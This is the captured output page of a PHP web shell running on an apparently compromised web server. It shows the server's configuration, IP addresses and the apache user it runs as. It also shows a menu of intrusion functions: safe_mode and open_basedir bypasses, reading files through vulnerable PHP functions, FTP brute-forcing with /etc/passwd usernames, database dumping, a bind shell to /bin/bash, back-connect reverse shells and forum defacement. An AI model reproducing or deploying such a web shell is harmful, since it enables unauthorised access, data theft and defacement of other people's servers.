o--[ heroes1412 ]--o  31-07-2010 05:29:25  [ phpinfo ]  [ php.ini ]  [ cpu ]  [ mem ]  [ users ]  [ brute ]  [ ln -s all ]  [ tmp ]  [ deface vbb ]
  safe_mode: ON  Open_Basedir: /home/ddn/:/tmp:/var/tmp:/usr/local/lib/php/  Safe_Exec_Dir: NONE  Safe_Gid: OFF  Safe_Include_Dir: NONE  Sql.safe_mode: OFF
  PHP version: 5.2.12  cURL: ON  MySQL: ON  MSSQL: OFF  PostgreSQL: OFF  Oracle: OFF
  Disable functions : readfile, system, exec, shell_exec, passthru, pcntl_exec, proc_close, proc_get_status, proc_nice, proc_open, proc_terminate, popen, pclose, set_time_limit, escapeshellcmd, escapeshellarg, dl, parse_ini_file, show_source,ini_alter, virtual, openlog, ini_restore
  Useful: mod_include(SSI)
  Downloaders: fopen
  Free space : 68.08 GB   Total space: 75.94 GB
  Server IP: [ 112.213.87.108 ]   --   Your IP: [ 38.107.191.99 ]
uname -a : 
sysctl : 
$OSTYPE : 
Server : 
id : 
pwd : 
   Linux ns1.tonghop24h.net 2.6.18-92.el5 #1 SMP Tue Jun 10 18:49:47 EDT 2008 i686
   -
   
   Apache/2
   uid=48 ( apache ) gid=48 ( apache )
   /home/ddn/domains/ddnvietnam.com/public_html/photo   ( drwxrwxrwx )
Executed command: safe_dir
:: Work in safe_mode ::
Work directory 4    
:: read file from PLUGIN ::
where file in server 4    
:: Create/Delete File/Dir ::
name 4           
:: Chown/Chgrp/Chmod ::
Command 4  param1 4    param2 4      
:: Edit files ::
File for edit 4    
:: read dir from vul reg_glob ::
read dir 4    
:: read dir from vul root ::
read dir 4    
:: read file from vul copy() ::
where file in server 4    
:: read file from vul ini_restore() ::
where file in server 4    
:: Bypass php 5.2.6 ::
Cat file 4    
:: Bypass php 5.2.9 ::
Cat file 4    
:: Php Bypass ::
Read File
File : 4
View Dir
Dir : 4
:: DeZender ::
Cat file 4    
:: ionCube extension safe_mode bypass ::
Cat file 4    
:: Aliases ::
         Select alias 4        
:: Find text in files ::
Find text 4    
In dirs 4 *
Only in files 4*
:: Test bypass open_basedir with cURL functions ::
Cat file 4    
:: read file from vul curl() ::
where file in server 4    
:: Eval PHP code ::

 
:: Upload files on server ::
Local file 4
Local file 4
Local file 4
Local file 4
Local file 4
    
:: Download files from server ::
file 4    
Archivation 4 without archivation zip gzip
:: FTP-bruteforce ::
FTP-server:port 4    
* use username from /etc/passwd for ftp login and password ( Users list )
Use reverse (user -> resu) login for password
:: Databases ::
Dump database table
Type 4
SQL-Server : Port 4 :
Login : Password 4 :
Db . Table 4 .
Save dump in file 4
Run SQL query
Type 4
SQL-Server : Port 4 :
Login : Password 4 :
Database 4
SQL query 4

:: Net ::
Bind port to /bin/bash
Port 4
Password for access 4
Use 4
back-connect
IP 4
Port 4
Use 4
:: safe_mode off ::
Close safe_mode with php.ini
Close security_mod with .htaccess
write ini.php file to close safe_mode with ini_restore vul
Use 4    
Use 4    
Use 4    
Generation time: 0.3989 seconds